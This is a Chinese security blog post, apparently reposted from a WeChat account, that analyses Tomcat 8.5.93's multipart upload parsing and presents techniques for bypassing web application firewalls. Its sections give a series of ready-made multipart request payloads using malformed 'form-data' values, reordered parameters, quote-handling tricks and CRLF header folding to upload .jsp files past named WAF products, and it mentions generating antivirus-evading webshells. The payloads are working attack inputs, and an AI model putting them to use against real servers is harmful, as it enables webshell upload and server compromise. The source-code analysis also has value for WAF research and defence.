Tomcat文件上传
环境
本地环境tomcat8.5.93,无黑白名单限制
getSubmittedFileName()函数
tomcat可以通过filePart.getSubmittedFileName();
获取上传文件的原始名filename
获取Content-Disposition
头后,判断值是否form-data
或attachment
开头
然后112行将form-data; name="file"; filename="Test1.jsp"
使用paramParser.parse()
函数,将等于号=
和分号;
作为分割符进行分割
遇到等于号就进行赋值,等于号前面值为key,等于号后面到分号的值前面为value
然后会判断filename中是否存在字符,并使用trim()除去空字符
最后获得一个Map
绕waf可利用点
1、getSubmittedFileName()
函数在判断form-data
位置,因为只是判断开头,后面可以随意构造form-dataaaaaaaaa
------WebKitFormBoundaryXWuXiFKBGGezJVGj
Content-Disposition: form-dataaaaaaaaa; name="file"; filename="Test1.jsp"
Content-Type: image/png
123123231
------WebKitFormBoundaryXWuXiFKBGGezJVGj--
2、因为getSubmittedFileName()
生成的map,所以Content-Disposition里参数可以随意变换位置或添加参数
------WebKitFormBoundaryXWuXiFKBGGezJVGj
Content-Disposition: form-dataaaaaaaaa; name="file"; asd="asd"; filename="Test1.jsp"
Content-Type: image/png
123123231
------WebKitFormBoundaryXWuXiFKBGGezJVGj--
------WebKitFormBoundaryXWuXiFKBGGezJVGj
Content-Disposition: form-dataaaaaaaaa; filename="Test1.jsp"; name="file"; asd="asd";
Content-Type: image/png
123123231
------WebKitFormBoundaryXWuXiFKBGGezJVGj--
3、Content-Disposition通过等于号和分号作为分割符,但是双引号里面的分号不会被解析
当遇到等于号时,使用parseQuotedToken()
函数进行截断到下一个分号,然后赋值
跟进parseQuotedToken()
函数里面可以看到
遇到双引号会导致后面的分号不会当作分割符,只有双数双引号结束后,后面分号才起作用
下面是双引号中分号失效
------WebKitFormBoundaryXWuXiFKBGGezJVGj
Content-Disposition: form-data; name="file"; filename="12;3.jsp"
Content-Type: image/png
123123231
------WebKitFormBoundaryXWuXiFKBGGezJVGj--
下面是单个双引号后面的分号也会失效
------WebKitFormBoundaryXWuXiFKBGGezJVGj
Content-Disposition: form-data; name="file"; filename="12;3.jsp
Content-Type: image/png
123123231
------WebKitFormBoundaryXWuXiFKBGGezJVGj--
但双引号被转译就不行了
------WebKitFormBoundaryXWuXiFKBGGezJVGj
Content-Disposition: form-data; name="file"; filename="12;3.jsp
Content-Type: image/png
123123231
------WebKitFormBoundaryXWuXiFKBGGezJVGj--
4、按照分号分割符,filename内容会被解析到分号或换行
5、ch1ng和y4tacker师傅在之前提过一个好玩的地方
https://www.ch1ng.com/blog/264.html
https://y4tacker.github.io/2022/06/19/year/2022/6/%E6%8E%A2%E5%AF%BBTomcat%E6%96%87%E4%BB%B6%E4%B8%8A%E4%BC%A0%E6%B5%81%E9%87%8F%E5%B1%82%E9%9D%A2%E7%BB%95waf%E6%96%B0%E5%A7%BF%E5%8A%BF/
如果filename里面存在字符,则会调用
HttpParser.unquote()
函数
上面师傅说的很清楚了,双引号开头会将转译符屏蔽,并且长度往前走一位,
filename=""Test1.png"
会被解析成Test1.pn
-----------------------------6920084414045732195561853497
Content-Disposition: form-data; name="file"; filename=""Test.jspa"
Content-Type: image/png
123
-----------------------------6920084414045732195561853497--
-----------------------------6920084414045732195561853497
Content-Disposition: form-data; name="file"; filename="Test.jspa
Content-Type: image/png
123
-----------------------------6920084414045732195561853497--
Content-Disposition头解析
这姿势是在参加阿里云waf挑战赛和绕长亭雷池waf时发现的,最近有空跟进一下tomcat源码,具体的绕过poc就不公布了(放星球了)
正常文件上传时,tomcat会将multipart的内容进行解析,将下面部分解析成两个header头:Content-Disposition
和Content-Type
Content-Disposition: form-data; name="file"; filename="Test1.jsp";
Content-Type: image/png
正常上传
------WebKitFormBoundaryXWuXiFKBGGezJVGj
Content-Disposition: form-data; name="file"; filename="Test1.jsp"
aaa
Content-Type: image/png
123123231
------WebKitFormBoundaryXWuXiFKBGGezJVGj--
可见cdl的值为 form-data; name="file"; filename="Test1.jsp"
如果Content-Disposition后面出现回车rn
+空格
那么第二行的空格及后边内容将会被解析为Content-Disposition的值
//回车加空格
------WebKitFormBoundaryXWuXiFKBGGezJVGj
Content-Disposition: form-data; name="file"; filename="Test1.jsp"
abcd
Content-Type: image/png
123123231
------WebKitFormBoundaryXWuXiFKBGGezJVGj--
可见cdl的值为 form-data; name="file"; filename="Test1.jsp" abcd
此原因出现在tomcat对Content-Disposition的解析上
tomcat-coyote-8.5.93.jar!/org/apache/tomcat/util/http/fileupload/MultipartStream.class
源码中tomcat首先获取multipart中所有header信息,当遇到两次回车换行rnrn
时截止
此时headers信息是:
Content-Disposition: form-data; name="file"; filename="Test1.jsp"rnContent-Type: image/pngrnrn
然后将headers进行分割,遇到第一个回车换行rn
后,进行字符串截断
此时header信息为Content-Disposition: form-data; name="file"; filename="Test1.jsp"
紧接着会对下一个字符进行判断,如果不是空格
或tabt
,则退出循环
tomcat-coyote-8.5.93.jar!/org/apache/tomcat/util/http/fileupload/FileUploadBase.class
此时生成俩header头
Content-Disposition: form-data; name="file"; filename="Test1.jsp"
Content-Type: image/png
但如果是空格
或tabt
,则将Content-Disposition值后面拼接空格再拼接到下一个换行回车之前的内容
此时生成一个header头
Content-Disposition: form-data; name="file"; filename="Test1.jsp" Content-Type: image/png
这里还有一点,在parseEndOfLine函数进行分割头时,如果遇到单个r
或单个n
则也不会分割
只有遇到rn
连起来时才分割
------WebKitFormBoundaryXWuXiFKBGGezJVGj
Content-Disposition: form-data; name="file"; filename="123.png"r
Content-Type: image/png.jsp
123123231
------WebKitFormBoundaryXWuXiFKBGGezJVGj--
------WebKitFormBoundaryXWuXiFKBGGezJVGj
Content-Disposition: form-data; name="file"; filename="123.png"n
Content-Type: image/png.jsp
123123231
------WebKitFormBoundaryXWuXiFKBGGezJVGj--
绕waf可利用点
1、回车后空格构造.jsp结尾
最好是用在上传后文件重命名的地方
-----------------------------6920084414045732195561853497
Content-Disposition: form-data; name="file"; filename="test.png"
Content-Type: image/png
a.jsp
123123231
-----------------------------6920084414045732195561853497--
2、单换行或单回车构造
-----------------------------6920084414045732195561853497
Content-Disposition: form-data; name="file"; filename="test.png"n
Content-Type: image/png.jsp
123123231
-----------------------------6920084414045732195561853497--
至于绕上传文件的内容,使用XG拟态生成免杀马,测试可过部分waf,其他需要去自己测试了
下面是雷池的SQL靶场,上传无拦截
参考文章
https://www.ch1ng.com/blog/264.html
https://y4tacker.github.io/2022/06/19/year/2022/6/%E6%8E%A2%E5%AF%BBTomcat%E6%96%87%E4%BB%B6%E4%B8%8A%E4%BC%A0%E6%B5%81%E9%87%8F%E5%B1%82%E9%9D%A2%E7%BB%95waf%E6%96%B0%E5%A7%BF%E5%8A%BF/
https://www.cnblogs.com/zpchcbd/p/17048404.html
原文始发于微信公众号(XG小刚):Tomcat文件上传绕WAF姿势深入研究
- 左青龙
- 微信扫一扫
- 右白虎
- 微信扫一扫
评论